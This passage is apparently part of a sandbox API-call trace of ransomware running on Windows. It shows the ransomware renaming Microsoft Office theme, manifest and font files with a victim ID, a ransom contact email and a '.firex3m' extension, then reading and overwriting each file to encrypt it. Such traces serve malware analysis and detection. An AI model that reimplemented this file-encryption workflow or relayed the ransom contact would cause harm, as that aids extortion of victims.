cFileName="IRIS.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="IRISEL~1.FIR")) returned 0x6d4e40 [0259.039] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0259.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\IRIS.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\iris\\iris.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0259.039] GetProcessHeap () returned 0x630000 [0259.039] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x719ec10 [0259.039] GetProcessHeap () returned 0x630000 [0259.039] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72b84a0 [0259.039] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.039] ReadFile (in: hFile=0x710, lpBuffer=0x719ec10, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x719ec10*, lpNumberOfBytesRead=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0264.288] GetProcessHeap () returned 0x630000 [0264.288] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0264.288] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.288] WriteFile (in: hFile=0x710, lpBuffer=0x72b84a0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b84a0*, lpNumberOfBytesWritten=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0265.585] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.585] WriteFile (in: hFile=0x710, lpBuffer=0x72c389f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c389f*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0265.585] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.585] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0265.585] CloseHandle (hObject=0x710) returned 1 [0265.586] GetProcessHeap () returned 0x630000 [0265.586] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b84a0 | out: hHeap=0x630000) returned 1 [0265.586] GetProcessHeap () returned 0x630000 [0265.586] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x719ec10 | out: hHeap=0x630000) returned 1 [0265.586] GetProcessHeap () returned 0x630000 [0265.586] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0265.586] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\IRIS.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b5591d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x643f93cd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10181, dwReserved0=0xbc87496, dwReserved1=0x719ec08, cFileName="IRIS.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="IRISEL~1.FIR")) returned 0x6d5280 [0265.587] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0265.587] Sleep (dwMilliseconds=0x1) [0267.530] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest", len=0x70 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 1 [0267.530] GetProcessHeap () returned 0x630000 [0267.530] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b78) returned 0x6fe3bb0 [0267.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0267.532] CloseHandle (hObject=0x6a8) returned 1 [0267.532] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0267.532] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0267.534] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0267.534] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef9fabe6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef9fabe6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefccf8e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="eqnedt32.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EQNEDT~2.FIR")) returned 0x6d54c0 [0267.534] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0267.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0267.535] GetProcessHeap () returned 0x630000 [0267.535] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x666188 [0267.535] GetProcessHeap () returned 0x630000 [0267.535] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x666b28 [0267.535] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.535] ReadFile (in: hFile=0x6a8, lpBuffer=0x666188, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x666188*, lpNumberOfBytesRead=0x4e7ff0c*=0x220, lpOverlapped=0x0) returned 1 [0267.538] GetProcessHeap () returned 0x630000 [0267.538] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0267.538] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.538] WriteFile (in: hFile=0x6a8, lpBuffer=0x666b28*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x666b28*, lpNumberOfBytesWritten=0x4e7ff0c*=0x220, lpOverlapped=0x0) returned 1 [0267.538] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.539] WriteFile (in: hFile=0x6a8, lpBuffer=0x666d47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x666d47*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0267.539] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.539] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0267.539] CloseHandle (hObject=0x6a8) returned 1 [0267.539] GetProcessHeap () returned 0x630000 [0267.539] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x666b28 | out: hHeap=0x630000) returned 1 [0267.539] GetProcessHeap () returned 0x630000 [0267.539] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x666188 | out: hHeap=0x630000) returned 1 [0267.539] GetProcessHeap () returned 0x630000 [0267.539] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0267.539] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0267.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef9fabe6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef9fabe6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x65699d85, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x25a, dwReserved0=0x4e7fd20, dwReserved1=0x666188, cFileName="eqnedt32.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EQNEDT~2.FIR")) returned 0x6d4ec0 [0267.540] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0267.540] Sleep (dwMilliseconds=0x1) [0267.603] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", len=0x67 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 1 [0267.603] GetProcessHeap () returned 0x630000 [0267.603] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b70) returned 0x6fe3bb0 [0267.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0267.604] CloseHandle (hObject=0x694) returned 1 [0267.604] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0267.604] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.cnt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.cnt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0267.605] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0267.605] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8de687, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8de687, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8de687, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x740063, dwReserved1=0x73002d, cFileName="EQNEDT32.CNT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EQNEDT~4.FIR")) returned 0x6d4ec0 [0267.605] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0267.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.cnt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0267.605] GetProcessHeap () returned 0x630000 [0267.605] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa01) returned 0x746f238 [0267.606] GetProcessHeap () returned 0x630000 [0267.606] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa01) returned 0x74726e0 [0267.606] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.606] ReadFile (in: hFile=0x694, lpBuffer=0x746f238, nNumberOfBytesToRead=0x9e0, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x746f238*, lpNumberOfBytesRead=0x4e7ff0c*=0x9e0, lpOverlapped=0x0) returned 1 [0267.616] GetProcessHeap () returned 0x630000 [0267.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317090 [0267.616] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.616] WriteFile (in: hFile=0x694, lpBuffer=0x74726e0*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74726e0*, lpNumberOfBytesWritten=0x4e7ff0c*=0x9e0, lpOverlapped=0x0) returned 1 [0267.617] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.617] WriteFile (in: hFile=0x694, lpBuffer=0x74730bf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74730bf*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0267.617] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.617] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0267.617] CloseHandle (hObject=0x694) returned 1 [0267.617] GetProcessHeap () returned 0x630000 [0267.617] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74726e0 | out: hHeap=0x630000) returned 1 [0267.617] GetProcessHeap () returned 0x630000 [0267.617] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746f238 | out: hHeap=0x630000) returned 1 [0267.617] GetProcessHeap () returned 0x630000 [0267.617] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317090 | out: hHeap=0x630000) returned 1 [0267.617] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0267.617] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8de687, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8de687, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x657584e5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa21, dwReserved0=0x4e7fd20, dwReserved1=0x746f238, cFileName="EQNEDT32.CNT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EQNEDT~4.FIR")) returned 0x6d5380 [0267.617] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0267.618] Sleep (dwMilliseconds=0x1) [0267.654] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VIVALDII.TTF", len=0x45 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VIVALDII.TTF") returned 1 [0267.654] GetProcessHeap () returned 0x630000 [0267.654] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b6c) returned 0x6fe3bb0 [0267.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VIVALDII.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\vivaldii.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0267.656] CloseHandle (hObject=0x694) returned 1 [0267.656] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0267.656] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VIVALDII.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\vivaldii.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VIVALDII.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\vivaldii.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0267.657] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0267.657] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VIVALDII.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86a762bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10488, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIVALDII.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VIVALD~1.FIR")) returned 0x6d51c0 [0267.657] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0267.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VIVALDII.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\vivaldii.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0267.657] GetProcessHeap () returned 0x630000 [0267.657] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74c06f0 [0267.658] GetProcessHeap () returned 0x630000 [0267.658] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74cbb20 [0267.658] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.659] ReadFile (in: hFile=0x694, lpBuffer=0x74c06f0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74c06f0*, lpNumberOfBytesRead=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0275.806] GetProcessHeap () returned 0x630000 [0275.806] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0275.807] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.807] WriteFile (in: hFile=0x694, lpBuffer=0x74cbb20*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74cbb20*, lpNumberOfBytesWritten=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0275.808] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.808] WriteFile (in: hFile=0x694, lpBuffer=0x74d6f1f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74d6f1f*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0275.808] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.808] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0275.808] CloseHandle (hObject=0x694) returned 1 [0275.808] GetProcessHeap () returned 0x630000 [0275.808] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74cbb20 | out: hHeap=0x630000) returned 1 [0275.808] GetProcessHeap () returned 0x630000 [0275.808] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74c06f0 | out: hHeap=0x630000) returned 1 [0275.808] GetProcessHeap () returned 0x630000 [0275.808] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0275.808] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0275.808] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VIVALDII.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6a58c6ae, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x104ac, dwReserved0=0xbc87496, dwReserved1=0x74c06e8, cFileName="VIVALDII.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VIVALD~1.FIR")) returned 0x6d5480 [0275.809] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0275.809] Sleep (dwMilliseconds=0x1) Thread: id = 62 os_tid = 0x12b8 [0067.526] Sleep (dwMilliseconds=0x1) [0067.539] Sleep (dwMilliseconds=0x1) [0067.552] Sleep (dwMilliseconds=0x1) [0067.656] Sleep (dwMilliseconds=0x1) [0067.662] Sleep (dwMilliseconds=0x1) [0067.679] Sleep (dwMilliseconds=0x1) [0067.693] Sleep 